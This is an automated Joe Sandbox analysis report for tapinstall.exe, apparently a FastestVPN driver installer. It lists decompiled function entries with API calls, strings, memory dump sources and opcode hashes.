                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function
                                                                                                                      • String ID: MessageBoxW$RoInitialize
                                                                                                                      • API String ID: 2742660187-1810702038
                                                                                                                      • Opcode ID: dd70e31a59fc5cbf4f5a0b82821224db7ed2afd1b9f1bcf175a30592a1cc4cdc
                                                                                                                      • Instruction ID: 3f51de23834ff62300bf2af58bb80ee1d19367a5dc57e436e2ac763a7f0320be
                                                                                                                      • Opcode Fuzzy Hash: dd70e31a59fc5cbf4f5a0b82821224db7ed2afd1b9f1bcf175a30592a1cc4cdc
                                                                                                                      • Instruction Fuzzy Hash: CB118B61B08A86D5FB04AF51F9410B5A360EF9CB90FD804B6DE1C0BB95CE3CE9858760
                                                                                                                      Function 00007FF76A709188 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function
                                                                                                                      • String ID: SetThreadStackGuarantee$SystemFunction036
                                                                                                                      • API String ID: 2742660187-2910880125
                                                                                                                      • Opcode ID: 82353169a2ab33f6a6eac203720c7793f9c27a950768576486ffb45298bb144f
                                                                                                                      • Instruction ID: 6d4fb17dbef2270455562b81786640d18a7cf92d6a8f9b50eadfd81b9fe19bd9
                                                                                                                      • Opcode Fuzzy Hash: 82353169a2ab33f6a6eac203720c7793f9c27a950768576486ffb45298bb144f
                                                                                                                      • Instruction Fuzzy Hash: B9014B61E19646D1FB09BF91ED410B0A351EF5C340FC810B6DE2C0A6A1DE7CE995C370
                                                                                                                      Function 00007FF76A709448 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 30COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A709468
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A70949A
                                                                                                                        • Part of subcall function 00007FF76A7081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A708300
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function$AddressProc
                                                                                                                      • String ID: GetActiveWindow$GetLastActivePopup
                                                                                                                      • API String ID: 1640347226-3742175580
                                                                                                                      • Opcode ID: 96139b02f01ac1a12e8e8bbed336b4c2bf4c2c17f5e7323450708969746c16ee
                                                                                                                      • Instruction ID: 0fa46640a004077fd47f8dadb29c4db9e52d712c3715cb022537cb312589d772
                                                                                                                      • Opcode Fuzzy Hash: 96139b02f01ac1a12e8e8bbed336b4c2bf4c2c17f5e7323450708969746c16ee
                                                                                                                      • Instruction Fuzzy Hash: 9BF017A0E09607C1FE14BF91AD511F0A290EF1C750FC904BAD90D0A3A0EE3CB585C3B0
                                                                                                                      Function 00007FF76A70921C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A70924C
                                                                                                                      • try_get_function.LIBVCRUNTIME ref: 00007FF76A70926E
                                                                                                                        • Part of subcall function 00007FF76A7081A8: GetProcAddress.KERNEL32(?,?,00000006,00007FF76A708A2A,?,?,00000000,00007FF76A7077AE,?,?,00000000,00007FF76A706B85), ref: 00007FF76A708300
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: try_get_function$AddressProc
                                                                                                                      • String ID: MessageBoxA$MessageBoxW
                                                                                                                      • API String ID: 1640347226-1053882329
                                                                                                                      • Opcode ID: d25e26e93fbc0f399955a4174ee145feb3741ebe1ff497b5d2ef8bac74c6ea03
                                                                                                                      • Instruction ID: 2565412c94e6c98bc2667ac6aa9bb636a9105bbb51adaf152ea7889443009f01
                                                                                                                      • Opcode Fuzzy Hash: d25e26e93fbc0f399955a4174ee145feb3741ebe1ff497b5d2ef8bac74c6ea03
                                                                                                                      • Instruction Fuzzy Hash: D8F0E761A08647D6FE04EF60ED815F4A361EF68748BC450BAD54C061A5DE7CEA4AC7A0
                                                                                                                      Function 00007FF76A71E2A8 Relevance: 6.1, APIs: 4, Instructions: 64COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: FilePointer$ErrorLast
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 142388799-0
                                                                                                                      • Opcode ID: 62e83ff613cf7e0c6914a0449e0ad6475a81f3d2e6a598e7b544edde691620a4
                                                                                                                      • Instruction ID: 64951e74f579473944a19165552985137db74565c0dcd0303d6328825bb7879c
                                                                                                                      • Opcode Fuzzy Hash: 62e83ff613cf7e0c6914a0449e0ad6475a81f3d2e6a598e7b544edde691620a4
                                                                                                                      • Instruction Fuzzy Hash: EF219161A08A42C1F720AF25E81517AF7A1EB89BE0F984771EA6D47AE4CE7CD4408714
                                                                                                                      Function 00007FF76A6D77B0 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Initialize__scrt_fastfail__scrt_initialize_default_local_stdio_options_invalid_parameter_noinfo_onexit_set_fmode
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2724578021-0
                                                                                                                      • Opcode ID: 59f558a869d8c5a2891d93cde5f61cf3a556da39cfb7dd89c65c92046b5ebcbe
                                                                                                                      • Instruction ID: 2ba56a5adeb57838973603ed6b84f66a08e1963a53a46863964f9743103fdf28
                                                                                                                      • Opcode Fuzzy Hash: 59f558a869d8c5a2891d93cde5f61cf3a556da39cfb7dd89c65c92046b5ebcbe
                                                                                                                      • Instruction Fuzzy Hash: 8311B050E0C203C1FA547BB1896A2FDD5874F94BC8FC428F4E60D962E3ED6CB8658672
                                                                                                                      Function 00007FF76A6D2BD0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: MachineNode_$Connect_Disconnect_Locate_Reenumerate_
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 218754429-0
                                                                                                                      • Opcode ID: 51e3b3903d85c558772266e626df222a9037cd96535ea5ab3710ae0d24f20ba0
                                                                                                                      • Instruction ID: 3eebfd1fea7f6cd44867719e019173f9b06121aad69be97a3e38a801f5c4f5f8
                                                                                                                      • Opcode Fuzzy Hash: 51e3b3903d85c558772266e626df222a9037cd96535ea5ab3710ae0d24f20ba0
                                                                                                                      • Instruction Fuzzy Hash: F611AF32A0C682C2F764FF25E44457AA3A2FFD8F84F858171DA8D47A58DF2CD9118A10
                                                                                                                      Function 00007FF76A6DAF10 Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: HeapManager::getMemoryName::operator+=Name::operator=
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 2929307750-0
                                                                                                                      • Opcode ID: fce481929f355538a9b42238b523bc7f3f2660cc8b7c85b8c5e9693f606264b3
                                                                                                                      • Instruction ID: 61beb3542379e8182940c81b237aea7e2e34e69972fdc9043bcb09e9c6eb895b
                                                                                                                      • Opcode Fuzzy Hash: fce481929f355538a9b42238b523bc7f3f2660cc8b7c85b8c5e9693f606264b3
                                                                                                                      • Instruction Fuzzy Hash: 4A11C6A1A1E682C1FA517B21E50017DE792AB14FC0FD8C4F1D95C43786DE2DE8A28321
                                                                                                                      Function 00007FF76A71E438 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: FilePointer$ErrorLast
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 142388799-0
                                                                                                                      • Opcode ID: 5218c0f678f2c40fbbdda99fcc7e3f762700fa66660efab7cd38c83b84687fb8
                                                                                                                      • Instruction ID: 04f1ca5ed36bd66dc45f400ec71db90a28365c5f88a4649a89d4d67133b925fc
                                                                                                                      • Opcode Fuzzy Hash: 5218c0f678f2c40fbbdda99fcc7e3f762700fa66660efab7cd38c83b84687fb8
                                                                                                                      • Instruction Fuzzy Hash: C2113062B18681C1F720AF65B80556AFBA0FB89B94F944671EA9D43EA4CE7CD8448B10
                                                                                                                      Function 00007FF76A6F0C54 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: *
                                                                                                                      • API String ID: 3215553584-163128923
                                                                                                                      • Opcode ID: c702a447af3feb003120d3a589a2401bc16d95218c9ee08842c12031ba723851
                                                                                                                      • Instruction ID: ba4c7dbc21202bfeb70464002458d9c0880b7a837547b84cb5f4661c9dd3c9d7
                                                                                                                      • Opcode Fuzzy Hash: c702a447af3feb003120d3a589a2401bc16d95218c9ee08842c12031ba723851
                                                                                                                      • Instruction Fuzzy Hash: 5C718672909613C6F778AF28905417CB7A3FB05F58F9A1179CA4E0229DEF39D481C764
                                                                                                                      Function 00007FF76A6F04BC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 174COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: *
                                                                                                                      • API String ID: 3215553584-163128923
                                                                                                                      • Opcode ID: 273e77a1793748d35078b520fc40068adaf46b422db4c706b51f3ef3c241a5fe
                                                                                                                      • Instruction ID: 630820215cf3b08bfca0b0af6f6d91dae24a65c07d5fc8ec80986a6c21db3a46
                                                                                                                      • Opcode Fuzzy Hash: 273e77a1793748d35078b520fc40068adaf46b422db4c706b51f3ef3c241a5fe
                                                                                                                      • Instruction Fuzzy Hash: AE71D87290D213C6F768AF28845403DB7B3EB44F19FAA11B9DB4A02299EF78D481C724
                                                                                                                      Function 00007FF76A6F1190 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 171COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: *
                                                                                                                      • API String ID: 3215553584-163128923
                                                                                                                      • Opcode ID: 44c1df76ee1ff000bf001b99eeb66820c451a0d8bf2018bec658e7c217c0f5f6
                                                                                                                      • Instruction ID: 4ee57a56d7f4acfbe4ca945bbaa535530a0b21e2cb9d933ca6d24b805c7d5dd6
                                                                                                                      • Opcode Fuzzy Hash: 44c1df76ee1ff000bf001b99eeb66820c451a0d8bf2018bec658e7c217c0f5f6
                                                                                                                      • Instruction Fuzzy Hash: 0D7181F3908613C6F768AF29804407CBAA3FB45F98FA81176CF4A42699DF29D481C774
                                                                                                                      Function 00007FF76A6F09E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: *
                                                                                                                      • API String ID: 3215553584-163128923
                                                                                                                      • Opcode ID: 0377a43a123b46e862bf5f185707fa53883c6999a2b7e98940989a3650cad85b
                                                                                                                      • Instruction ID: 491b6e9d8d9a58f157646b15e7a8da44a776f99aed79494d1a8fca33611be286
                                                                                                                      • Opcode Fuzzy Hash: 0377a43a123b46e862bf5f185707fa53883c6999a2b7e98940989a3650cad85b
                                                                                                                      • Instruction Fuzzy Hash: 2A71A5B6908213C6F764AF29804407DBBA7FB05F1DF9A11B6CA4943299EF39D481C724
                                                                                                                      Function 00007FF76A700610 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A700642
                                                                                                                        • Part of subcall function 00007FF76A7079F8: HeapFree.KERNEL32(?,?,?,00007FF76A7132DC,?,?,?,00007FF76A7136FF,?,?,00000000,00007FF76A713F44,?,?,?,00007FF76A713E77), ref: 00007FF76A707A0E
                                                                                                                        • Part of subcall function 00007FF76A7079F8: GetLastError.KERNEL32(?,?,?,00007FF76A7132DC,?,?,?,00007FF76A7136FF,?,?,00000000,00007FF76A713F44,?,?,?,00007FF76A713E77), ref: 00007FF76A707A20
                                                                                                                      • GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF76A6D7805), ref: 00007FF76A700660
                                                                                                                      Strings
                                                                                                                      • C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, xrefs: 00007FF76A70064E
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
                                                                                                                      • String ID: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                      • API String ID: 3580290477-2985852448
                                                                                                                      • Opcode ID: b063ccabdf4ae0fb810ec30d9af89ab26e9ed12f878b4f8ead2f3c050a887b6f
                                                                                                                      • Instruction ID: e067eb31e463d19fe6dc449a9845c2279b045b661fd5f0618494de702887b29f
                                                                                                                      • Opcode Fuzzy Hash: b063ccabdf4ae0fb810ec30d9af89ab26e9ed12f878b4f8ead2f3c050a887b6f
                                                                                                                      • Instruction Fuzzy Hash: 5141AFB2A08B02CAFB54FF25EC500BDA7A5EB487E0F954075E94E47B85DE3CE4818720
                                                                                                                      Function 00007FF76A6FFD7C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      • C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe, xrefs: 00007FF76A6FFDBF
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID: C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                      • API String ID: 3215553584-2985852448
                                                                                                                      • Opcode ID: e29d975727e9928f6db482a1ce53242b1b870c676fb5658a615ffb6c2a7e9428
                                                                                                                      • Instruction ID: ba45fe347e632606a4d4a826db64ceb85584fceeba9fd7ae651f2c9c29e4b8c3
                                                                                                                      • Opcode Fuzzy Hash: e29d975727e9928f6db482a1ce53242b1b870c676fb5658a615ffb6c2a7e9428
                                                                                                                      • Instruction Fuzzy Hash: D541A272A08A13D9F754EF29E8400ADA7A6EF48BD4F954076E94D47B95DE3CE481C320
                                                                                                                      Function 00007FF76A716F00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: ErrorFileLastWrite
                                                                                                                      • String ID: U
                                                                                                                      • API String ID: 442123175-4171548499
                                                                                                                      • Opcode ID: 1fe9f3420805e2f29ef7fd3f085adcd01cfbc63ee96cabacd67f80ead1b7df33
                                                                                                                      • Instruction ID: 02991a107b645bc6bad5d32642595daad96a311a0cf63876cb7847a72e894f39
                                                                                                                      • Opcode Fuzzy Hash: 1fe9f3420805e2f29ef7fd3f085adcd01cfbc63ee96cabacd67f80ead1b7df33
                                                                                                                      • Instruction Fuzzy Hash: 4E41C532B18A42C6EB21AF25E4443A9B7A4FB987D4F854131EE4D87798EF3CD541CB50
                                                                                                                      Function 00007FF76A6F63EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
